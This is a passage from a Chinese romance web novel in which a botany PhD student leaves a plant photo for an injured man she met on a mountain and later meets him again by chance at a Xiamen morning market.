师姐听到松了一口气,拍了一下覃晚的脑袋说:“你这家伙!吓死我了。”
“好了,还有心思开玩笑,看来是没什么问题了。走吧,去吃饭。”一旁的教授被覃晚逗笑,拍了拍她的肩膀。
几人和救援队一同朝民宿的方向走去,师姐像是怕覃晚再走丢了似的,一路逗挽着她的胳膊不松手。
覃晚想起林深,试探性的问到挽着手的师姐:“师姐,你们刚刚还有看到其他人被送下来吗?”
“其他人?
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好像是有一个,比你下来半小时左右。被救援人员用担架抬下来的,当时我还以为是你。给我吓坏了。不过他好像和我住一个民宿,那个美女老板陪着去医院了。”
“对对对,就是他?他去哪里了?”
“应该是被救护车送去医院了吧。怎么了?你认识他?”
“呃,应该算认识吧。这事情有点复杂,以后再向你解释。”覃晚听到他被送去医院便安心了。
“哦,对了。老师,师姐。我发现山荷叶了,在下山的路上,海拔1963,在山的西北面一处灌木下。我还拍了照片。”
“什么?”宋歌十分惊讶“快给我看看,给我看看。”
听到覃晚话的教授也转过头来,不过却说没关心照片,反而说:“以后还是要以安全为先,保证自己安全再顾其他。”
“对啊,小晚。”
“嗯嗯,知道的。我确定周边没有危险才过去拍照的。”
覃晚回到民宿房间后,将关机的手机放到床头柜处充电后便去洗澡了。再出来已是一个半小时了。
穿着她最喜欢的那件兔子朱迪睡衣从浴室出来,她走到床边,将手机重启。
刚打开,就有一大堆未接来电争分夺秒的涌上来。
覃晚先给家里回拨了一通电话报平安后,又一一回复了微信信息。
来不及擦干头发,想着赶紧把今天拍到的照片导出来。导出后,她将今天记录的数据和图片一起打包发到了课题组群聊。
在群里简单汇报后,她从主界面找到之前接车的时候加上的陈强微信。
覃晚【你好(小猫探头).Jpg】
另一边的陈强收到信息后秒回。
AAA青朴民宿陈强【你好,覃小姐。你还好吗?】
覃晚【挺好的,听师姐说你和老板为了找我们,还特地去请了村里的老师傅。真是谢谢你们了。】
AAA青朴民宿陈强【没事没事,你没事就好。你没休息发信息是有什么事情吗?】
覃晚【对,我想问一下这附近哪里有冲洗照片的地方啊?】
AAA青朴民宿陈强【冲洗照片啊?村里没有这种店,得到镇上去。不过我们老板很喜欢拍照,自己有搞了间冲印室。我把她
微信推给你,你可以找她问问。】
覃晚【太感谢了!】
AAA青朴民宿陈强【小问题。】
没过多久,对面便把老板的名片推了过来。覃晚点开选择添加好友,等待对方通过。
——
胡非此时正在县第一人民医院,林深因为高烧不退,情况恶化,到医院后经过诊断发现是肺炎。
一时半刻也联系不上家属,作为民宿老板,秉持着人道主义关怀,胡非便留下来暂时陪护。
收到覃晚的好友申请时她正坐病床边。
一直昏迷的男人正虚弱的躺在病床上挂水,此刻不知是梦魇还是怎么。口中一直念念有词,说什么“山什么叶小姐。”。
胡非正准备按床边的呼叫铃,忽然,猛的一声。
“小心!”
床上的人猛然惊醒,满头大汗,澄澈的眼眸里满是惊恐,看着医院的白茫茫的,双目失焦。
9. 未来男朋友?
“你没事吧,要不要给你叫医生?”
林深睁开眼,看到民宿老板皱着眉看向自己,四周陈设早已大变样.
他被救护车送去医院后,经诊断发现原本由受凉引发的高热,因为没有及时得到妥善治疗,加上休息不足,导致细菌感染恶化成肺炎,因此需要挂水并留院观察。
不过所幸小腿上的伤口由于处理得当,没有化脓恶化。
因为一时半刻联系不上家属,胡非帮忙替他办理了留院观察的手续。缴完费后担心他一个人在这不太方便,便留下来守了一会儿直到他转醒。
林深环顾了一圈病房,却没见到相见的人。
眼底有几分失落,他试图从病床上坐起,扯着嘶哑的嗓子问到:“她呢?”
“你别动!”胡非走到床尾,将病床调整到一个合适的角度。
完成这一动作后,从床头的柜子上拿起水壶给他倒了杯水,一边问到:“他是谁?”
“谢谢!”林深接过水杯,却没喝,语气有些焦急:“和我一起困在雨林里的女生,她...咳咳咳..还好吗?”
“奥,你说她啊。”胡非拉开椅子,在病床旁坐下。
“听救援队那边的消息,应该也没事。这个点应该也回民宿休息了。”说完她瞄了一脸病床上满脸虚弱,时不时咳嗽的男生,没忍住笑着调侃了句:“我看你还是先担心担心自己吧。”
谁知对方压根忽视了她的调侃,听到她没事之后便再也听不进任何东西。
林深抿了抿唇,喝了一口水后,干的要冒烟的嗓子总算稍微缓解。
“咳...咳”
“悠着点啊,小伙子!”胡非将他手里的纸杯接过,从柜子上抽了张纸递过去。
咳的满脸通红的林深自己缓了缓,朝她摆摆手,示意并无大碍。
见他情况好转,胡非寻思给他找个护工照料几天,民宿那边还有一大堆事情等着她回去处理。
按开手机,却发现了覃晚的好友申请。
胡非用余光瞄了一眼此刻正躺在病床上假寐的某人,刚刚听到她也住民宿的时候,明显一番欲言又止的样子。
她唇角微微扬起,点下了那个绿色的按键。
对面显然是一直在等她同意,刚加上便传了信息过来。
一番客套寒暄后,覃晚终于开始讲正事。
她趴在床上,拢了拢刚洗完还来不及吹干的一头黑色湿发,询问胡非是否可以帮忙冲洗照片。
发出后,等了两分钟对面也不见回复。
覃晚心中忐忑,反复斟酌,是否自己语气不对或者请求太过冒昧。
正当她躺在床上,望着天花板纠结时。一侧的手机突然传来了叮咚一声。
她迅速翻身,拿起手机一看。
里面赫然一条消息。
【没问题!】
刚刚在床上急的团团转的覃晚瞬间安心,想来刚刚她是被什么事情耽搁了,所以没能及时回复。
----
医院
回复完覃晚的消息后,胡非马不停蹄的给林深找了个靠谱的护工,刚联系上护士便进来查房。
正好趁这时林深醒了过来,她顺势讲护工的事情与他讲明白。
护士此时正给林深拔针,他头也未回,盯着那针头便说:“好!”
见对方如此爽快,胡非也乐的轻松,加上他联系方式后把护工信息一股脑全发了过去。
医院的专职护工来的很快,为了方便林深起居,她特地给他请了个男护工。
人到时她恰巧接到了陈强的电话。
胡非走到病房外,接通后,透过电流声传来对面略微有些焦急的声音,“老板,刚刚下暴雨打雷,听村支书那边说是劈到电线杆了。现在整个村都停电了。”
相较于对面的慌乱,这边的胡非就显得冷静许多。
她坐在走廊侧边的椅子上,眉头紧蹙,井井有条的吩咐:“先把备用电源启动吧。应该能顶一段时间。你叫小灵她们那边和住客说明一下情况。我这边处理完事情就回。”
挂断电话后,胡非叹了口气,眉眼间透露出几分疲惫。这糟心的雨下个没完没了,麻烦事也是一件接着一件。
她迈开步子,走进病房后和护工简单交待了几句。便提上包匆匆赶回民宿。
不过幸好她当时有先见之明,没跟着救护车一同过来,而是开了自己的座驾,否则这时回去都成问题。
回到民宿已经是下午五点,因为下雨,天早已漆黑一片。
胡非将车停好后便冒雨跑进了民宿,此时备用电源撑着,一切还算运行正常。
但估计也撑不了多久,胡非吩咐小灵几个服务员挨个房间去发放蜡烛和手电。
又吩咐厨房那边趁还有电时提前准备好餐食。
忙上忙上打理好一切后,她突然想起刚刚小姑娘说的冲洗照片一事。待会要是没电了可就洗不成了,于是刚闲下来的胡非又马不停蹄的给覃晚发了条消息过去。
胡非【现在方便下来吗?趁还有电我带你去洗照片。】
覃晚此刻正趴在床上和祁绮聊天,看到胡非传来的消息后立刻翻身下床。回了个OK后便汲着拖鞋忙不迭地往楼下跑。
胡非正坐在沙发上假寐,面容疲惫,听师姐说美女姐姐陪着他去了医院。这个点应该是刚回来没多久,还想着在停电前给她冲洗照片。
她有些于心不忍,照片也不着急。她把手机放在沙发前的茶几上,放轻脚步缓缓走过去。拿起沙发上的那张米白色流苏毯子轻轻盖在她身上。
兴许是睡得不深,这样的小动作还是将她惊醒。看到覃晚手还捏着毯子,一双清冷丹凤眼瞬间恢复清明。
“你下来了啊。”胡非掀开毯子,声线慵懒。
覃晚顺势在她身侧坐下,拿起一个抱枕拥在胸前:“姐姐,你要不先去休息吧。我也不着急。”
满脸倦容的胡非看向面前女孩,一个蝴蝶抓夹将一头乌发拢起,几缕碎发被勾在耳后。米白色的薄外套里依稀可以看出,里面穿着睡衣。
想来是匆忙赶下来。胡非从沙发上站起,捞起放在茶几上充电的手机。
“走吧。我不累。”透过被雨幕打湿的玻璃墙,外面漆黑一片,雷声不止。
胡非凝视着外面的一番景象,红唇轻启:“恢复供电应该要一段时间,现在不去可就不知什么时候能洗咯。”
说完回头看向覃晚,等她做出决定。
既如此,她也不再犹豫浪费时间,立马从沙发上站起,语气坚定:”走!”
胡非看着面前女孩一脸严肃,眼神坚定的像是要去入党,被逗的不禁轻笑一声。
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——
跟着胡非的脚步,两人来到民宿的地下室。
覃晚未曾想到,这村中民宿的地下室竟别有洞天。
这种大Boss窝点的构造她只在悬疑小说和剧里,毕竟谁家正常人地下室不设成停车场。
穿过两段楼梯,便抵达那间地下室。这里被装饰的十分温馨,如果没有那一整墙的摄影机和镜头,倒是很像家。
沙发上摆着几个的vintage中古玩偶,对面是一个开放式厨房,厨具齐全但并无开火的痕迹。
“随便坐。”胡非把手机甩到沙发上,走到厨房的小冰箱,“喝什么,果汁还是可乐。”
“果汁!”覃晚在沙发上坐下,打量着室内陈设。
“蓝莓汁?”
听到她的声音,覃晚收起目光,点了点头。
对面将一瓶蓝莓汁抛过来,“你坐着玩一下,我去给你洗。”,接着转身走进了一间房间。
——
胡非出来时,覃晚正盯着那相机柜看的出神。
“怎么样?”
骤然听到一个声音,覃晚被吓的一哆嗦。扭身去寻那道声音,
覃晚不懂她是何意思,没有作答。只见对方拿着一个信封,抬步走了过来,盯着那面墙一动不动,像是陷入了回忆之中。
“胡非姐,你喜欢摄影啊。收藏这么了这么多镜头,我看你这里还有台绝版的徕卡M3。”说到这,覃晚语气略显激动。
“不喜欢。”
覃晚未曾料到竟是这个答案,不喜欢摄影还收集这么多相机和镜头。但见她语气沉重,覃晚也不好多问。
胡非移开目光,把手里的信封递给身侧的女孩,面色恢复如初,“你要的照片洗好了。”
听到这话的覃晚瞬间两眼放光,接过后便倒出来。捏着那张薄薄的照片,唇角勾起。
“谢谢你,胡非姐!”
先去还疑惑,要是他们研究要用,怎么才洗一张照片。眼下看着她这盯着照片幅眉目含春的样子,心下了然,只怕这照片是给意中人的。
她忍不住调侃,笑道:“给男朋友的啊。这么开心。
“不是,不是男朋友。”覃晚听到胡非的话,急忙否认。
听到对方迅速澄清,但红晕已经从脖子爬到了耳尖。她走到沙发上,拿起放在茶几上的蓝莓汁喝了一口继续道:“那是?未来男朋友咯!”
“不是,哎呀姐姐,你别开玩笑了!”覃晚有些不好意思,也拿起果汁猛灌了几口,缓解身上的热意。
缓过劲来,她看着那张照片缓缓道:“就是一个萍水相逢的陌生人。他也上山找山荷叶,他没看到。我给他分享一下罢了。”
“你这陌生人,不会是我今天送去医院的那个异瞳小帅哥吧。”
听到这话,覃晚立马抬眸看向胡非,问到:“他怎么样了?”
见女孩一幅着急的模样,胡非倒在沙发上笑的花枝乱颤。
“哎呀,非姐!别笑了!他到底怎么样的啊!”此刻也顾不上害羞,她拉住胡非的胳膊追问。
“明天跟我去医院看看不就知道了。”说着还指了指她手上的照片,“顺便,还能把这照片送出去。”
思索了一下,似乎是这个道理。正当她准备答应时,兜里的手机传来“叮咚”一声。
10. 爱自有天意
【目前已进入梅雨季,山荷叶调研项目暂时中止,预计明天雨势减小,航班恢复运行,现已定好机票。明早九点回南城。@所有人】
覃晚的笑容瞬间凝固在脸上,群组里的师兄师姐纷纷回复收到刷屏。其实她早料到近期应该是要离开,但没想到这天来的如此突然。
她还来不及,再见他一面。
“怎么了?”见覃晚脸色不对劲,胡非不再逗弄她,收起笑颜看向她。
被这突如其来的消息打击的愣住的覃晚,强挤出一丝苦笑,“没什么。只是...”
见她这幅表情,胡非更是担心,追问道:“只是什么,出什么事情了吗?”
气氛骤然间变得严肃,覃晚觉着有些尴尬。紧握着那张照片将手放到一侧藏起。
掩饰性的喝了一口蓝莓汁,故作轻松道:“没事啊,就是要回家了。”
“啊?”胡非有些诧异,她记得当时他们一行人在这里订了两周的房,这才过了一周不到,怎么便要离开。
“怎么这么快,明天走?”
“对啊。”她扬了扬手机,“教授刚发的,明天早上九点就走了。”,说着说着,便低下了头,一双白皙修长的双腿在沙发前来回摆动。
两人陷入良久的沉默。
“走!”胡非率先打破沉默的氛围,拉着一脸不知所措的覃晚从沙发上站起,大步离开地下室。
“啊!去...去哪里啊?”覃晚不解,只是被她拽着越走越快。
外面还在下着暴雨,整座村庄除了民宿暂时光明,此外一片漆黑。‘狂风呼啸,远处不时闪烁着锋利的闪电,如一道利刃刺破黑幕。
也没顾上撑伞,覃晚被胡非拽着一路冲进雨里,那只装着照片的信封被她护在怀里,生怕被雨水打湿。
等两人上了车,胡非才出声,“医院,去不去?”,看着面前被雨打湿的女孩,她递了包纸巾过去。
覃晚接过,却抽出一张,小心翼翼擦拭被雨点打湿一角落的信封。那其实被拉上车时,她已经有所预料。
见对方低着头没说话,胡非开始怀疑,自己是否太过莽撞。或许是因为失去过,所以她不愿再见任何遗憾。或许这只是她一厢情愿的过度猜测呢?
思及此,她在心里苦笑一声。
正当她落寞时,擦完信封的女孩却突然系上了安全带,扭头看向自己,一幅蓄势待发的模样。
其实覃晚也有所犹豫,擦拭信封时她也想这可能是一个人的自作多情,但,她依旧想勇敢一次。
与面前那双坚定又年轻的眼睛交错时,胡非心中漾起万千波澜、如果当初她这样勇敢,是不是就不会永远的失去他。
一瞬,鼻头微酸,眼角泛起泪光,她扭过头目视前方,试图掩饰自己许久未展露于人前的脆弱。
轻咳一声,胡非迅速调整好情绪。发动车子冲进那雨幕于黑暗之中。
——
因为山路没有路灯,雨势又大,胡非不敢开的太快。
抵达医院时,已是深夜。
或许是因为即将要见到他,覃晚有些紧张,一路上都捏着那个信封,沉默少言。
但快要抵达时,不知怎的,竟生出几分近乡情怯的情绪。
胡非将车在停车场泊好后,解开安全带准备下车,却见副驾的女孩一动不动。
“怎么了?困了吗?”
覃晚扭过头来,眼神躲闪,支支吾吾好一会儿,才终于袒露:“非姐,我有点害怕。”
没想到是这个回答,刚刚见她初生牛犊不怕虎的样子还以为是个勇敢的小莽夫呢。胡非伸手过去摸了摸她的头顶,满眼温柔的安慰道:“不怕,你这么可爱,他肯定喜欢你的。”
不知为何,覃晚忽然回想起雨林里那个吻,不禁露出害羞的模样。
两人没在车上耽搁太久,总不可能辜负非姐开了一晚上夜车,花了好几个小时才到的一番心意。更何况,她想见那人一面,很想很想。
覃晚捏着那薄薄一纸信封,跟着胡非前往病房。
病房内熄了灯,胡非把合起来的伞放置在门外,拧开把手,两人轻手轻脚的缓走进。
“老板娘?”说话的是胡非给林深请的护工,他从椅子上坐起,指着林深用气音说:“刚吃了药,估计有副作用,睡着了。”
两人交谈时,覃晚便站在距离床尾半米处,注视躺在病床上熟睡的男人。
胡非见一动不动,伸手将她拉到病床侧边,凑到耳处轻声说:“外面等你。”
说完便招手示意护工,两人一同走出病房并贴心地关了门。
覃晚在床边的椅子上坐下,整间屋子只有床头的一盏壁灯亮着,雨点噼里啪啦的打在窗户的玻璃上。
这一切,好像又昨天那个被困的雨夜。
暖黄色的光线轻柔的洒在他的脸上,他似乎睡的并不安稳,眼睑紧闭,眉头微微皱起,不知梦到了什么,浓密的睫毛轻轻颤动。
覃晚情不自禁伸出手,想要抚平他的眉宇。可探到半空却忽然克制顿住,是担心将他惊醒,还是...心中胆怯。
当初人醒着时,她一时被美□□导,鬼迷心窍吻了他。可如今,他陷入沉睡时,自己却忽然胆怯。
如此矛盾,她也说不清究竟为何。
手腕上的石英腕表秒针嘀嗒...嘀嗒转动,外面雨声渐渐弱去。
覃晚从衣服口袋里拿出一支笔,是刚刚下车之际她向胡非要的。将信封放在床头的柜子上,一笔一划的写下【你好,我是覃晚。】
写下最后一笔,她合上笔,将信封整齐摆在柜子上。满眼不舍的望向最后一眼后便转身离开。
——
胡非和护工在走廊的椅子上等着覃晚,见她关门走出,问了句:“好了?”
覃晚点点头,却透过嵌在门内的窗户再看了一眼。
眼下时间不早了,等回到民宿都要一两点了。估计也停电了,收拾东西更加费时,明早他们便要回南城,再不回去来不及。
可看着她这幅样子,胡非想叫她离开却又于心不忍。
覃晚撤回留恋的目光,口吻轻柔的说了声: “走吧,非姐。”
胡非看着面前的恋恋不舍、愁容依旧的女孩,从椅子上站起,拉着她的手笑着安慰道:“怎么啦,不是见到了,怎么还不开心?”
“没啊。”她抹开笑颜,可不知在别人看来,真是笑的比哭还难看。
胡非伸手捏了捏
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她那满是胶原蛋白的笑脸,揶揄道:“笑的小苦瓜似的。”
胡非揽过覃晚的肩膀,对护工嘱咐到:“小张,你照顾好他,有事及时联系我。”
对方点了点头,进了病房。
顺着他的背影,覃晚朝那个方向又望了一眼。
“好啦!回去了。”胡非按住她的脑袋,将其转向离开的方向,推着她步步向前。
——
回去路上,见覃晚心事重重的样子,望着窗外一动不动。
胡非开口打破沉默:“怎么了,有心事?”
覃晚茫然地“啊”了声,反应过来后扯了下唇角,慢慢地出了声:“没有心事,就是有点遗憾。”
“遗憾什么?没留联系方式?”胡非偏头看了一眼,女孩低头不语。
胡非单手扶着方向盘,另一只手从扶手箱把自己的手机递了过去,轻笑开口:“我有他联系方式,你要不。”
她踌躇了一会,最后还是把手机推回,摇了摇头,垂眸道:“不了,萍水相逢罢了。”
胡非没想到是这样的回答,而这出自一个二十出头的小姑娘口里。在最冲动的年纪,她冷静克制的要命。
覃晚很清楚,那只是片刻的心动,说不定在明天、后天便会消失的一干二净。
而一份坚定的感情绝不仅靠一时的心动便可维系,需要朝夕相伴,需要灵魂契合。
所以她没有在那张信纸上留下其他,除了姓名。
如果爱自有天意,那有缘自会重逢。
胡非摇了摇头,将手机放回原位,叹了口气笑道:“我是搞不懂你们这些小年轻了。要我我就是上了,哪里需要顾忌那么多。”似乎是想起了什么,语调逐渐弱了下来,喃喃道:“人生哪有那么多机会可等。一不小心就再也没机会了。”
那时的覃晚不懂胡非为何这样落寞的说出这句话,直到后面知道她的故事,才终于理解她话中的深意和落寞。
——
次日林深醒来看到那张照片时,覃晚已经踏上回南城的路了。
或许是冥冥之中的第六感,还未等他拆开信封见到里面的山荷叶照片时。
光是见到那笔飘逸的字迹,林深便确信,是她!
他抽出信封里的照片,是他特地来寻却没有见到的山荷叶。
没想她还记得,想到那个女孩和一些画面,林深的嘴角不经意勾起,看着那张照片,满眼温柔。
去打热水的护工小张回来,林深放下照片询问到:“昨天晚上是不是有一个二十来岁,一米六五左右,长的很可爱的女生来过。”
小张把水壶放在地上,思索了两秒,继而道:“是有一个女生,胡老板带来的,当时你睡着了。她还在这待了会儿呢?”
他指了指林深手里的信封说:"那信封,就是她留的好像。"
确定她来过,林深眸光清亮,眉眼间盛满的笑意。但想到自己睡着没有见到他,眼神中又掠过一丝遗憾。
他将床头柜充着电的手机捞过,给胡非发了条信息过去。
对方显示一直输入中,林深紧紧握着手机,满心期待等着回复。
可对方敲敲打打许久,最后却发来三个字:【她走了。】
11. 满煎糕
“老板,我要一碗海鲜面线糊。谢谢。”覃晚看着墙上的二维码,扫码付账。
昨天刚下高铁,便打车去了酒店。
昨天下了高铁后,她便吃了一碗面线糊,味道相当不错。
于是今天又特地起了个大早,跑来这边的早市来尝尝某书上好评率超高的厦城正宗面线糊。
“脚妹,你的面线好了,小心烫,要葱和辣椒自己去加哈。”
面容和蔼的阿嫲操着一口闽南味很重的普通话,把面线端了上来。
“嗯嗯,好的,谢谢老板。”
一碗热腾腾的面线上面盖满了各种配料,鲜虾、海蛎、鹌鹑蛋.....再加上超绝油条段,简直人间美味,看的覃晚食指大动。
动筷前,她拿起桌边的一小罐罐醋,库库加了半罐。
吃面不吃醋,香味少一半。
早就听说闽南地区的面线会繁殖,越吃越多。平时覃晚吃饭就是细嚼慢咽,这会儿也加快了进食速度。
一碗面线下去,直接把她热得脱了早起时穿上的那件杏色的针织衫外套。
11月底,地处较南端的厦门随并未明显降温,但早晨还是有微微一丝冷意的。
厦城位于亚热带季风气候区,四处长满了常绿植被。
区别与北方,这里几乎很难通过颜色感受到四季的变化。
只有微妙的气温变化暗示。
吃饱后覃晚没急着去景点打卡,而是在早市逛了起来。
清晨的早上熙熙攘攘,烟火气十足。
南城也有类似的早市,但她这个夜猫子,平常是决计起不来的,所以这事倒也新鲜。
走到一半,覃晚瞥见一家卖满煎糕店。
想到之前听同门师兄对厦城古早早点的避雷,称沙茶面、土笋冻和满煎糕是厦城美食的黑榜前三甲。
按理来说一般人应该会吃下这口反向安利,避而远之。奈何覃晚向来有一身反骨。
自己没尝过怎敢苟同。
于是毅然决然的走上去点了份。
老板在给她打包的时候,后方传来几个声音,像是也要来买。
覃晚在心里暗忖道:“要真这么难吃,怎么还会有这么多人买。”
“美女,你的好了。一共12块,这里扫码。”
覃晚接过老板递过来的满煎糕,道了声谢,低头点开手机扫码。
忽然,有人从背后轻拍了她一下。
覃晚吓的一哆嗦,回头发现是个熟面孔正笑眯眯的和自己打招呼。
“姐姐,你还记得我不?”
覃晚不假思索:“当然,球球!昨天我们在植物园还互相拍照来着!”
听到她的话,邱怡萱兴奋不已,眉眼弯弯,十分自来熟的握住她的手。
“是我是我!可以要你一个联系方式吗?昨天本来想加,但是太急忘记啦。晚上回到酒店后悔死了。现在又遇到你真的是缘分。”
“可以啊,我扫你。”
长的跟小蛋糕一样可爱小女孩问自己要联系方式,覃晚根本无法拒绝。
刚调出二维码,一个冷淡声音突然从后面缓缓传来。
“邱怡萱,你还买不买了?”两人循着声音抬头。
不是吧,这个厦城还是太小了。居然在这里又见到林深。
今天他穿了一件穿了件风衣,秋日里最受欢迎的时尚单品。
不过虽然许多人对此趋之若鹜,却很少能有人真正撑得起这个类型的衣服。
显然,面前的男人是个拥有0.618黄金比例的衣架子,再加之他那张脸和独特的瞳色,比那些模特更有一番韵味。
林深此刻正直勾勾盯着覃晚,神情复杂。
当年谁说有缘自会相见,萍水相逢没必要留联系方式。
在山上说自己眼睛特别很难忘,结果扭头就把自己忘的一干二净。
现在记性到是好了,邱怡萱一下就认出来了。
思及此,他用略带审视的目光上下打量了一下面前拉着覃晚手的邱怡萱,眼神挑剔,满脸不爽。
莫名其妙被瞪的邱怡萱一脸懵逼,自家舅舅这是又犯什么病了。
出门在外,现下没有外公给他撑腰,惹不起,惹不起。
大女主能屈能伸,她装乖认怂道:“买,买。我正跟小姐姐要微信呢。加完就买,你别急嘛。”
明明刚刚看他现在心情还算不错,主动问自己想不想吃满煎糕。
这才多久,又吃炸药了。
不过此刻怎么感觉氛围怪怪的,自家舅舅怎么一直盯着小姐姐看?
邱怡萱看着面面相觑的两人,有些格格不入,一时间不知道该说些什么。
“咳咳,小姐姐,这个是我表哥。他叫林深。她就是我昨晚吃饭时候说的帮我拍照的漂亮小姐姐。”
邱怡萱给两人介绍到,忽然又想起自己至今还不知道小姐姐的名字。
于是扭头问道:“哦,对了,还不知道小姐姐你叫什么名字呢?”
听到问题的时候,覃晚还没从再次遇见林深的惊喜中回过神来,就听到他脱口而出。
“覃晚。”
林深表情没有半点松动,语气坚定,咬字清晰。熟悉的像是在口中早已念了千万遍。
听到自家舅舅的声音,此刻的邱怡萱自然是一脸懵,转头看向林深,难以置信的问到:“你说什么?”
“她叫覃晚。”林深没有多废话,甚至视线都未曾从她身上移开分毫。
这时候出神的覃晚才反应过来,她赶忙收回一直和林深对视的视线,扭头看向身侧一脸吃瓜模样的邱怡萱解释道。
“对,我叫覃晚,西早覃,晚是夜晚的晚。”
显然,对于自己舅舅和面前的漂亮小姐姐认识这件事,邱怡萱大为震惊。
更何况,就林深那眼神,绝对算不上清白。
体内熊熊燃烧的八卦之魂瞬间觉醒,“你们认识啊?怎么认识的啊......”
满脸姨母笑的邱怡萱叽里呱啦一连串问了许多问题,弄得覃晚也不知从何说起。
“呃呃,我们是昨天认识的,呃呃...”
覃晚支支吾吾的说不上来,毕竟昨晚那事,有些许丢人。要说出来了还怎么在小妹妹面前维持自己聪明绝顶,处事不惊的高智姐姐人设。<
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p>正当覃晚苦恼怎么跟邱怡萱解释自己怎么认识的林深。
面前的男人许是看出了覃晚的无措,对着邱怡萱冷声道:“赶紧拿好你的东西,老板都在这等你半天了。”
对于林深的打岔,她心下的怀疑更加坚定,这两个人不对劲!遮遮掩掩的肯定有猫腻。
但此刻林深正冷冰冰的瞪着自己,不是八卦的好时机。
忽然,脑子里灵光一闪!
“覃晚姐姐,你是一个人出来玩吗?你今天有什么计划吗?”
擒贼先擒王,要是把正主勾到手了,还愁没瓜吃吗?
面前的两个人都不像是骗子,因此覃晚也没有什么防备,如实和他们讲了。
“对,我一个人。今天可能去圆沙洲那边玩玩吧。”
“圆沙洲!太巧了。我们也去。我,我舅舅,还有其他几个朋友。”
邱怡萱握着覃晚的手激动不已,“今天晚上还打算在那里烧烤呢。覃晚姐姐,你要不和我们一起吧。一起玩热闹。”
覃晚也要去圆沙洲,简直是天助她也。本来还想着她要去别的地方的话,要怎么约她一起呢。
“啊?这,这不太好吧。”
一个人玩确实有些许无聊,但是那么多陌生人,覃晚这怕尴尬体质想想便头皮发麻。
不过,林深这么大一帅哥摆在面前,又让她有点心动,毕竟这种品级的也是隐藏款了,就算是看看也养眼啊!
看出覃晚有几分犹豫,邱怡萱甩着覃晚的胳膊撒娇安抚道:“没事,我们都很好相处的。你说是吧,哥。”
“一起玩嘛,晚晚姐。我超想和你一起玩的,还有我哥也是。”
她边说着边朝一边的男人使眼色,示意他说点什么。
按理来说他一向是不爱勉强,并且对于陌生人的打扰感到抵触的人。
但此刻他看着面前的覃晚,却鬼使神差地说了句“是!”
听到林深这句回答,两个人显然都震惊了。纷纷抬头一脸难以置信的看着林深。
邱怡萱自小和这个年龄差别不大的舅舅一起长大,自然是知道他有多不近人情。
从小到大没少见他狠心拒绝身边示好表白的女生。现在这副样子,她百分之两百确定,这千年的铁树终于开花了。
而在覃晚认知视角里,他一直都是清冷大帅哥人设,这一个“是”字属实是人设崩塌了,惊讶之余,也有些许松动。
难得林深这辅助如此配合,邱怡萱趁热打铁:“你看,我哥都这么说了,走嘛走嘛。”
覃晚没多犹豫,思索了两秒便应了好。
——
三个人离开早市去和已经前往轮渡码头的大部队集合。
覃晚和邱怡萱两个人挽着手走在前面,林深一个人提着两盒满煎糕亦步亦趋。
刚刚本来他们一起在买海蛎煎,排着队的时候林深突然问了邱怡萱一句要不要吃满煎糕。
甚至还没来的及等她回应就自顾自的走了过去,想来刚刚是看到了某人吧!
邱怡萱露出一幅磕到了的姨母笑,嘴角几乎要咧到耳后跟。
今晚看来是有好戏可看了!
12. 对谁感兴趣
只能说人生处处是惊喜,一个人的旅途也会莫名其妙的热闹起来。
如果不是突然收到师姐的消息,说周毅那个渣男也跟着她跑来了厦城的话,覃晚几乎都快把这件事抛诸脑后了。
也不知道他是从哪里得知自己来了厦城。
覃晚头疼不已,好心情机会败了一半。
不过她转念一想,自己行踪都是临时定下的,除了祁绮也没透露给别人过。
就算他来了厦城又如何,碰面的几率还是很小的。
挽着覃晚的邱怡萱见她看了眼手机,表情便像川剧变脸似的,五味杂陈。
到检票口时还愣着,不知道在思考什么。她便开口试探询,语气担忧:“小晚姐姐,遇到什么事情了吗?”
“啊?”覃晚眼神恢复清明,继而笑道:“没什么,一个讨厌的人罢了。”她调出乘船码,拉着邱怡萱说:“走吧!”
讨厌的人?不会是前男友找来了吧。
作为一个资深言情小说读者,邱怡萱不假思索便得出答案。她扭过头,朝身后的林深抛去同情一眼。
只可惜,对方视线一直聚焦在覃晚身上,并未注意到邱怡萱的目光。
——
刚刚忙着检票排队,人声嘈杂。
登船后一行人才来的及和覃晚打招呼介绍。
一路上听邱怡萱絮絮叨叨,得知她刚上大一,趁着学校秋季运动会和周末连着放假,便想着和朋友一起出来旅游。
可自小娇生惯养,她爸妈不放心几个小朋友出去。
她只好曲线救国,软磨硬泡一番叫上了林深这个“闲人”陪他们一起,才终于得到爸妈首肯。
加上覃晚他们一共八个人,浩浩荡荡一群在游轮坐下围成一圈。几个人都兴致勃勃,好奇的盯着覃晚这个半途加入的伙伴。
被一群人这样望着,覃晚简直梦回组会汇报。
幸好她见惯这种场面,大大方方地自我介绍到:“你们好,我是覃晚。目前在C大读博,很高兴这次可以和大家一起玩。”
话音刚落,邱怡萱满脸吃惊,忙不迭的说道:“哇,姐姐,你学校和我舅舅还有嘉煜哥大学学校就俩隔壁诶。”
说完瞄了一旁看似心不在焉的林深,斟酌几秒后遗憾的摇了摇头:”不过他们现在已经毕业了。”
“这也太巧了,你说是吧。阿深。”穿着件V领绸质衬衣,一幅花花公子长相的周嘉煜用肩膀撞了一下身旁的林深,饱含深意的笑了笑。
林深没接话匣,轻飘飘瞥了他一眼,示意他别乱讲话。
覃晚莞尔一笑,礼貌回应:“是很巧。”
“你好,我是周嘉煜。和林深从小一起长大的死党。”他伸出手,十分绅士的与覃晚轻握了一下便松开。
这让她莫名想起昨晚和林深打招呼时,那只宽厚又温暖的手几乎要将自己捏碎,还迟迟不放。
想到这,她摇了摇头,嘴角不禁溢出一抹笑容。
坐在覃晚正前方的是一个扎着马尾,长相大气的女生。
“覃晚姐姐好,我是邹静,球球的室友。”
她拍了拍并肩而坐的一个戴着副无框眼镜,看上去有些腼腆的男生,介绍到:“这是我男朋友,许敬轩。”
“你好,我是徐敬轩。小静的男朋友。”说着紧了紧和女朋友想握着的手。
“你们好。”
“覃晚姐姐,你好,我是张怀恩。”说话的是一个扎着低双马尾的女生,看起来是这队伍里头稍微内向一点的姑娘了。
“你好呀。”看着面前这个说话还会脸红的女孩,她不禁放柔了声调。
坐在最远处的,是一个高高壮壮的,十一月天还穿着件白色运动背心的运动型男生。
他嗓音洪亮,大大咧咧的问候道:“你好,覃晚姐。我叫李阳。有什么忙都可以找我。”
说着还一边向大家秀了一下自己的肱二头肌,惹得一阵哄笑。
覃晚也被面前的小孩逗笑,忙不迭的说:“好,好,你好。我知道了,谢谢你。”
看着面前的这些18,19岁的小孩青春洋溢,活人感满满的样子,覃晚不禁感叹,一晃已当学术牛马多年,大一距离她,已十分遥远了,真是老了。
虽然她也才刚过完24岁生日。
